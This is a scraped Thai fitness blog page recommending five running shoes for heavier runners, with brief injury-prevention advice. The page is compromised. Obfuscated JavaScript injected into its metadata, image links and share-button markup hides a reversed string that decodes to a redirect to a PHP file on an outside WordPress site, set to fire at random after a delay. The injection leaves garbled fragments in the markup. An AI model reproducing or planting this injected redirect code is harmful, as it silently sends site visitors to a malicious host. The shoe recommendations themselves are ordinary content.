andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2018/09/alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash.jpg","width":1200,"height":750},{"@type":"WebPage","@id":"https://www.stepextra.com/big-runner-shoe/#webpage","url":"https://www.stepextra.com/big-runner-shoe/","name":"Big runner shoe: เเนะนำ 5 รองเท้าสำหรับคนตัวใหญ่ - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/big-runner-shoe/#primaryimage"},"datePublished":"2018-09-24T15:46:42+00:00","dateModified":"2018-09-25T14:57:15+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"description":"แรงกระแทกที่เกิดจากการวิ่งจะส่งกลับไปยังข้อต่อข้อเข่าต่างๆ ถึง 1.5 – 3 เท่าของน้ำหนักร่างกายเลยทีเดียว ดังนั้นเวลาเลือกรองเท้าจึงควรดูเรื่องต่างๆ ดังนี้","breadcrumb":{"@id":"https://www.stepextra.com/big-runner-shoe/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/big-runner-shoe/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/big-runner-shoe/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"Big runner shoe: เเนะนำ 5 รองเท้าสำหรับคนตัวใหญ่"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

Big runner shoe: เเนะนำ 5 รองเท้าสำหรับคนตัวใหญ่

kan by kan
25 September 2018
in Running Tips, Tips & Technics
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash.jpg">
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash.jpg&description=Big+runner+shoe%3A+%E0%B9%80%E0%B9%80%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3+5+%E0%B8%A3%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%97%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%84%E0%B8%99%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88" rel='nofollow' class="jeg_btn-pinterest ">

วิ่ง เป็นกีฬาที่มีมนต์สเสน่ห์อย่างหนึ่งที่ดึงให้ผู้คน ไม่ว่าจะเป็นเพศหรือวัย ก็สามารถเข้ามาร่วมกิจกรรมได้ง่าย เด็กเล็ก วัยรุ่น ผู้ใหญ่วัยทำงานไปจนกระทั้งผู้สูงอายุ วิ่งเป็นกีฬาที่ปลอดภัยและง่ายต่อการเล่น แต่สำหรับคนที่มีรูปร่างไซส์ใหญ่ คงต้องให้ความระมัดระวังในเรื่องแรงกระแทกและการ Support ของรองเท้าที่ควรจะมีเพิ่มขึ้น

Big runner shoe: เเนะนำ 5 รองเท้าสำหรับคนตัวใหญ่

คนตัวใหญ่ คนที่ต้องระมัดระวังในการวิ่งต้องดูอย่างไร เราใช้เกณฑ์อะไรวัดดีว่าเราเป็นคนไซด์ใหญ่…ปกติแล้วเราจะดูน้ำหนักเป็นหลัก ต่อมาก็เป็นเรื่องของความสูงและดูผสมกันระหว่างความสูงและน้ำหนัก (คนไซด์ใหญ่ไม่ได้หมายความว่าต้องเป็นคนอ้วนนะครับ) ถ้าจะเอาให้เข้าเป้าชัดๆ ก็แนะนำว่าให้ลองใช้ค่าดัชนีมวลรวมร่างกายหรือค่า BMI สำหรับคนที่มีมากกว่า 27 ให้ถือว่าคุณเป็นคนไซด์ใหญ่ ต้องระวังแรงกระแทกระหว่างการวิ่งให้ดี เพราะแรงกระแทกที่เกิดจากการวิ่งจะส่งกลับไปยังข้อต่อข้อเข่าต่างๆ ถึง 1.5 – 3 เท่าของน้ำหนักร่างกายเลยทีเดียว ดังนั้นเวลาเลือกรองเท้า จึงควรดูเรื่องโฟมรับแรงกระแทกและการซัพพอร์ตของรองเท้าให้ดี

5 รองเท้าที่จะนำมาแนะนำกับเหล่า Heavy runner ได้แก่…

1. Asics Gel Nimbus 19

เป็นนักวิ่งไซด์ใหญ่ เพิ่งเริ่มวิ่งและรู้ว่าน้ำหนักร่างกายมีผลต่อข้อเข่าแน่ๆ และไม่แน่ใจว่าจะเลือกรองเท้าวิ่งอะไรดี ไม่มีความรู้เลยก็ว่านั้น ถ้ามีอาการอย่างนี้ แนะนำเลยว่าต่อไปที่ร้าน Asics แล้วเลือกเจ้า Asics Gel Nimbus 19 เลยครับ ปัจจุบันน่าจะรุ่นที่ 20 แล้ว

จุดแข็งของรองเท้ารุ่นนี้คือ เจลรองรับแรงกระแทกที่นุ่มมาก โครงสร้างแข็งแรง ผ้า Upper ส่วนบนที่ห่อหุ้มเท้าระบายอากาศได้ดี ใส่วิ่งแบบ Long run ก็ดี แต่บางคนจะไม่ชอบใจเรื่องน้ำหนักเพราะดูอาจจะแอบหนักไปนิด จะเร่งทำ Pace เร็วก็ยากหน่อย เพราะดูแล้วจะเหมาะกับการวิ่งทำ Pace คงดีมากกว่า ดังนั้นถ้าใครที่มีฟอร์มการวิ่งที่ดี มีประสบการณ์มาพักใหญ่อยากปรับเปลี่ยนความเร็วให้หลากหลายมากขึ้นเราก็แนะนำให้เลือกใช้ตัว Asics Gel Kayano ดูครับ แต่โฟมรับแรงกระแทกจะไม่ดีเท่า Gel Nimbus นะครับ

2. Nike Zoom Vomero 12

ถือว่ากลายเป็นลูกเมียน้อยของไนกี้ไปเลยครับ เพราะตอนนี้รุ่นดังๆ อย่าง Pegasus, Pegasus Turbo และ Vaporfly ดังมากจนกลบการมีตัวตนของ Vomreo ไปเลย

Vomero เป็นรองเท้าที่ออกแบบมาสำหรับ All-around runner เหมาะสำหรับใส่ฝึกวิ่งได้ทุกวัน โฟมรองรับแรงกระแทกประกอบด้วย Lunarlon และ Air Zoom เบา ตอบสนองได้ดีและนิ่ม แถมราคาไม่แพงด้วย ในร้านไนกี้อาจจะเห็นแค่ 1-2 คู่ตั้งโชว์อยู่ นักวิ่งไซด์ใหญ่แนะนำให้ลองใส่ดูก่อนครับ แม้ดีไซด์ไม่เท่แต่รับรองว่า performance รองเท้าทำได้ออกมาดีครับ

รุ่นนี้สามารถใส่วิ่งได้ถึงฮาร์ฟมาราธอนและมาราธอนเลย วัสดุ Upper นิ่มสบายเท้า ระบายอากาศได้ดี แต่ส่วนของ Outter-sole จะเป็นวัสดุอ่อนไม่ใส่แผ่นยางแข็ง ดังนั้นดอกยางจะไปเร็วมากหรือเราใส่ฝึกหนักทุกวัน

3. Brooks Transcend 4

เรื่องวิ่งหากไม่กล่าวถึงร้องเท้ายี่ห้อ Brooks ก็คงไม่ได้ สำหรับนักวิ่งไซด์ใหญ่เราแนะนำ Brooks Transcend 4 เป็นรองเท้าที่ให้ความรู้สึก Firm & Stability

พื้นโฟมจะไม่นิ่มเท่าของ Nike หรือ Asics แต่จะเฟริ์มกว่า ขณะเดียวกันก็ให้ความมั่นคงเวลาลงเท้า บังคับให้เท้าลงเป็นที่เป็นทาง ป้องกันการวิ่งส่ายเท้าได้ดี ใส่แล้วฟิตเท้าและส้นมาก แต่ก็ใช้เวลานวดรองเท้านานพอควร ข้อดีอื่นๆ เช่น เป็นรองเท้าที่มีความยืดหยุ่นสูง พื้นดอกยากทน ใช้วิ่งทำความเร็วก็ได้

4. Skechers GOrun Forza 2

เป็นรองเท้าที่ทำออกมาแล้วรู้สึกว่าเบาจนน่าใจหายเลย อาจเป็นเพราะพื้น Midsole และ Outer sole เป็นเนื้อเดียวกันเลยก็ได้ ความนิ่มมีสูงมาก วัสดุก็ทำออกมาได้ดี

ถ้าแนะนำให้ใส่วิ่งก็จะแนะนำให้คนวิ่งระดับกลางไปจนคนที่มีประสบการณ์สูงไปเลยครับ นักวิ่งน่าใหม่มาใส่เจ้าตัวนี้อาจจะรู้สึกแปลกๆ เนื่องจากความนิ่มของโฟมเขาจะไม่เหมือนใคร ใครจะใส่ไปวิ่ง Long run หรือใส่วิ่งเพื่อ recovery ก็ดูจะเข้าทางนะครับ เพราะความรู้สึกใหม่ๆ เวลาวิ่งก็คือมัดกล้ามเนื้อตัวใหม่ได้ใช้งาน นอกจากนี้ยังเป็นรองเท้าในประเภท Stability เหมือนกัน

5. Hoka One One Bondi 5

ตัวสุดท้ายค่อนข้างหาตัวยากหน่อย น่าจะมีขายตามร้าน Rev Runner, Banana Run หรือไม่ก็ร้าน Avarin เป็นแบรนด์ที่ขึ้นชื่อว่าโฟมรองรับแรงกระแทกใหญ่ที่สุด (ราคาก็ใช้ได้เลยนะครับ) และก็ใหญ่จริงๆ ครับ มองเห็นขนาด Mid-sole แป๊ปเดียวก็เดาได้เลยว่ายี่ห้ออะไร

เป็นรองเท้าที่ให้ความรู้สึก Smooth ride ครับ ใส่วิ่งนิ่มๆ ไหลลื่นดี แต่ก็รู้สึกว่าร่างกายยกสูงขึ้นมามากเช่นกัน เนื่องจากขนาดโฟมจะใหญ่พิเศษ แต่แม้จะมีขนาดใหญ่ น้ำหนักรองเท้าทำออกมาได้ดีครับ เบาไม่น่าเชื่อ (ราคาก็แพงละครับตามเนื้องาน) ข้อเสียน่าจะเป็นวัสดุส่วน Upper จะไปเร็วกว่าส่วนของดอกยาก

ใครที่ต้องการมองหารองเท้า Support เยอะๆ ก็อย่าลืมนะครับว่ามันมี trade-off เช่นกัน นั้นคือ ความรู้สึกเชื่อมต่อกับพื้นถนนและการตอบสนองจะน้อย แลกกับความรู้สึก smooth และนิ่มสบายเวลาวิ่ง

วิธีการป้องกันอาการบาดเจ็บสำหรับนักวิ่งไซด์ใหญ่อื่นๆ นอกจากการเลือกรองเท้าวิ่งแล้วนั้นคือ การปรับฟอร์มการวิ่งให้ถูกต้องและการฝึกปรับเพิ่มระยะทางที่ละนิด ค่อยๆ เป็นค่อยๆ ไป ตลอดจนการฝึกกล้ามเนื้อให้แข็งแรง สร้างมัดกล้ามเนื้อให้พร้อมรับ work-load ระหว่างการวิ่ง

อ้างอิง www.runningshoesguru.com

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-redl-185764-unsplash.jpg&description=Big+runner+shoe%3A+%E0%B9%80%E0%B9%80%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3+5+%E0%B8%A3%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%97%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%84%E0%B8%99%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More

Discussion about this post

  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.